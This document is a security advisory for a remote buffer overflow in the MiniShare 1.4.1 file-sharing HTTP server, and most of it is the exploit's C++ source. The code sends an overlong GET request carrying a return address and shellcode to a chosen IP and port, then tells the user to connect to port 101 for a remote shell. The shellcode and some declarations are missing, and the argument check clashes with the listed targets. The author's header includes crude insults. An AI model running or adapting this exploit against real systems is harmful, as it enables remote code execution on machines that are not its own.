MiniShare is meant to serve anyone who has the need to share files to anyone, doesn't have a place to store the files on the web, and does not want or simply does not have the skill and possibility to set up and maintain a complete HTTP-server software.
A vulnerability in the way MiniShare handles arbitrarily long GET requests allows a remote attacker to cause the program to execute arbitrary code.
Credit:
The information has been provided by class 101.
Vulnerable Systems:
* MiniShare version 1.4.1 and prior
Exploit:
/*
MiniShare <= 1.4.1, Remote Buffer Overflow Exploit v0.1.
Bind a shellcode to the port 101.
Full disclosure and exploit
by class101 [at] DFind.kd-team.com [&] #n3ws [at] EFnet
07 november 2004
Thanx to HDMoore and Metasploit.com for their kickass ASM work.
------------------
WHAT IS MINISHARE
------------------
Homepage - http://minishare.sourceforge.net/
MiniShare is meant to serve anyone who has the need to share files to anyone,
doesn't have a place to store the files on the web,
and does not want or simply does not have the skill
and possibility to set up and maintain a complete HTTP-server software...
--------------
VULNERABILITY
--------------
A simple buffer overflow in the link length, nothing more
read the code for further instructions.
----
FIX
----
Actually none, the vendor is contacted the same day published, 1 hour before you.
As a nice fuck to NGSS , iDEFENSE and all others private disclosures
homo crew ainsi que K-OTiK, ki se tap' des keu dans leur "Lab"
lol :->
----
EXTRA
----
Update the JMP ESP if you need. A wrong offset will crash minishare.
Code tested working on MiniShare 1.4.1 and WinXP SP1 English, Win2k SP4 English, WinNT SP6 English
Others MiniShare's versions aren't tested.
Tip: If it crashes for you , try to play with Sleep()...
int main(int argc,char *argv[])
{
ver();
if ((argc<3)||(argc>4)||(atoi(argv[1])<1)||(atoi(argv[1])>2)){usage(argv[0]);return -1;}
if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error: "<<WSAGetLastError()<<endl;return -1;}
int ip=htonl(inet_addr(argv[2])), sz, port, sizeA, sizeB, sizeC, a, b, c;
char *target, *os;
if (argc==4){port=atoi(argv[3]);}
else port=80;
if (atoi(argv[1]) == 1){target=espxp1en;os="WinXP SP1 English";}
if (atoi(argv[1]) == 2){target=esp2k4en;os="Win2k SP4 English";}
if (atoi(argv[1]) == 3){target=espnt6en;os="WinNT SP6 English";}
SOCKET s;
struct fd_set mask;
struct timeval timeout;
struct sockaddr_in server;
s=socket(AF_INET,SOCK_STREAM,0);
if (s==INVALID_SOCKET){ cout<<"[+] socket() error: "<<WSAGetLastError()<<endl;WSACleanup();return -1;}
cout<<"[+] target: "<<os<<endl;
server.sin_family=AF_INET;
server.sin_addr.s_addr=htonl(ip);
server.sin_port=htons(port);
WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL);
timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
switch(select(s+1,NULL,&mask,NULL,&timeout))
{
case -1: {cout<<"[+] select() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
case 0: {cout<<"[+] connection failed."<<endl;closesocket(s);return -1;}
default:
if(FD_ISSET(s,&mask))
{
cout<<"[+] connected, constructing the payload..."<<endl;
Sleep(1000);
sizeA=1787;
sizeB=414-sizeof(scode);
sizeC=10;
sz=sizeA+sizeB+sizeC+sizeof(scode)+17;
memset(payload,0,sizeof(payload));
strcat(payload,"GET ");
for (a=0;a<sizeA;a++){strcat(payload,"\x41");}
strcat(payload,target);
for (b=0;b<sizeB;b++){strcat(payload,"\x41");}
strcat(payload,scode);
for (c=0;c<sizeC;c++){strcat(payload,"\x41");}
strcat(payload," HTTP/1.1\r\n\r\n");
Sleep(1000);
if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;}
Sleep(1000);
cout<<"[+] size of payload: "<<sz<<endl;
cout<<"[+] payload send, connect the port 101 to get a shell."<<endl;
return 0;
}
}
closesocket(s);
WSACleanup();
return 0;
}
void usage(char* us)
{
cout<<"USAGE: 101_mini.exe Target Ip Port\n"<<endl;
cout<<"TARGETS: "<<endl;
cout<<" [+] 1. WinXP SP1 English (*)"<<endl;
cout<<" [+] 2. Win2k SP4 English (*)"<<endl;
cout<<" [+] 3. WinNT SP6 English (*)"<<endl;
cout<<"NOTE: "<<endl;
cout<<" The port 80 is default if no port specified"<<endl;
cout<<" The exploit bind a shellcode to the port 101"<<endl;
cout<<" A wildcard (*) mean Tested."<<endl;
return;
}
void ver()
{
cout<<endl;
cout<<" "<<endl;
cout<<" ===================================================[v0.1]===="<<endl;
cout<<" ====MiniShare, Minimal HTTP Server for Windows <= v1.4.1====="<<endl;
cout<<" =============Remote Buffer Overflow Exploit=================="<<endl;
cout<<" ====coded by class101===========[DFind.kd-team.com 2004]====="<<endl;
cout<<" ============================================================="<<endl;
cout<<" "<<endl;
}
